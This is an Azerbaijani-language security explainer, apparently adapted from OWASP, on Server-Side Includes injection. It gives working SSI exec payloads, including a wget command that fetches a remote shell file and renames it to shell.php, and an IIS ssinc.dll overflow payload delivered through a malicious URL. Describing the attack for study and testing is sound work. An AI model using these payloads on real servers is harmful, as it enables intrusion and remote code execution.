Server-Side Includes (SSI) Injection

Ümumi məlumat

SSI-lər dinamik məzmunlu HTML səhifəsini qidalandırmaq üçün istifadə edilən Veb proqramlarında mövcud olan direktivlərdir. Onlar CGI-lərə bənzəyir, SSI-lər cari səhifə yüklənməmişdən əvvəl və ya səhifə vizuallaşdırılarkən bəzi hərəkətləri yerinə yetirmək üçün istifadə olunur. Bunu etmək üçün veb server səhifəni istifadəçiyə təqdim etməzdən əvvəl SSI-ni təhlil edir.

Server Side Includes hücumu HTML səhifələrinə skriptlər yeritməklə və ya uzaqdan ixtiyari kodları icra etməklə veb proqramın istismarına imkan verir. Tətbiqdə istifadə olunan SSI-nin manipulyasiyası yolu ilə istifadə edilə bilər və ya istifadəçi giriş sahələri vasitəsilə istifadəyə məcbur edilə bilər.

Tətbiqin SSI direktivlərində istifadə olunan simvolları daxil etməklə, giriş sahələri məlumatlarını düzgün şəkildə təsdiqləyib-yoxlamadığını yoxlamaq mümkündür, məsələn:

< ! # = / . " - > and [a-zA-Z0-9]

Tətbiqin həssas olub olmadığını aşkar etməyin başqa bir yolu .stm, .shtm və .shtml uzantılı səhifələrin mövcudluğunu yoxlamaqdır. Lakin bu tip səhifələrin olmaması tətbiqin SSI hücumlarına qarşı qorunduğu anlamına gəlmir.

İstənilən halda, hücum yalnız o halda uğurlu olacaq ki, veb-server lazımi yoxlama olmadan SSI-nin icrasına icazə versin. Bu, veb server proses sahibinin icazəsi ilə fayl sisteminə və prosesə giriş və manipulyasiyaya səbəb ola bilər.

Təcavüzkar parol faylları kimi həssas məlumatlara daxil ola və qabıq əmrlərini yerinə yetirə bilər. SSI direktivləri giriş sahələrinə daxil edilir və veb serverə göndərilir. Veb server səhifəni təqdim etməzdən əvvəl direktivləri təhlil edir və icra edir. Sonra, növbəti dəfə istifadəçinin brauzeri üçün səhifə yükləndikdə hücumun nəticəsi görünəcək.

Nümunələr

Nümunə 1

SSI inyeksiyası üçün istifadə edilən əmrlər istifadə olunan server əməliyyat sisteminə görə dəyişir. Aşağıdakı əmrlər OS əmrlərini yerinə yetirmək üçün istifadə edilməli olan sintaksisi təmsil edir.

Linux:

Kataloq fayllarının siyahısı:

<!--#exec cmd="ls" -->

Kataloqlara giriş:

<!--#exec cmd="cd /root/dir/">

İcra skripti:

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows:

Kataloq fayllarının siyahısı:

<!--#exec cmd="dir" -->

Kataloqlara giriş:

<!--#exec cmd="cd C:\admin\dir">

Nümunə 2

Server məlumatlarına daxil olmaq və qurmaq üçün istifadə edilə bilən digər SSI nümunələri:

Səhv mesajının çıxışını dəyişdirmək üçün:

<!--#config errmsg="File not found, informs users and password"-->

Cari sənəd fayl adını göstərmək üçün:

<!--#echo var="DOCUMENT_NAME" -->

Virtual yolu və fayl adını göstərmək üçün:

<!--#echo var="DOCUMENT_URI" -->

“config” əmrindən və “timefmt” parametrindən istifadə edərək tarix və vaxtın çıxış formatını idarə etmək mümkündür:

<!--#config timefmt="A %B %d %Y %r"-->

“Fsize” əmrindən istifadə etməklə seçilmiş faylın ölçüsünü çap etmək mümkündür:

<!--#fsize file="ssi.shtml" -->

Nümunə 3

IIS 4.0 və 5.0 versiyalarındakı köhnə boşluq təcavüzkarın dinamik keçid kitabxanasında (ssinc.dll) bufer daşması xətası vasitəsilə sistem imtiyazlarını əldə etməyə imkan verir. “ssinc.dll” Server-Side Inclus prosesini tərcümə etmək üçün istifadə olunur. CVE 2001-0506 .

Aşağıdakı SSI kodunu ehtiva edən zərərli səhifə yaratmaq və tətbiqi bu səhifəni yükləməyə məcbur etməklə ( Path Traversal hücumu), bu hücumu həyata keçirmək mümkündür:

ssi_over.shtml

<!--#include file=”UUUUUUUU...UU”-->

PS: “U” sayı 2049-dan uzun olmalıdır.

Proqramın ssi_over.shtml səhifəsini yükləməyə məcbur edilməsi:

Zərərli olmayan URL:

www.vulnerablesite.org/index.asp?page=news.asp

Zərərli URL:

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

IIS boş bir səhifə qaytarırsa, bu, daşmanın baş verdiyini göstərir. Bu halda, təcavüzkar prosedur axını ilə manipulyasiya edə və ixtiyari kodu icra edə bilər.

Last updated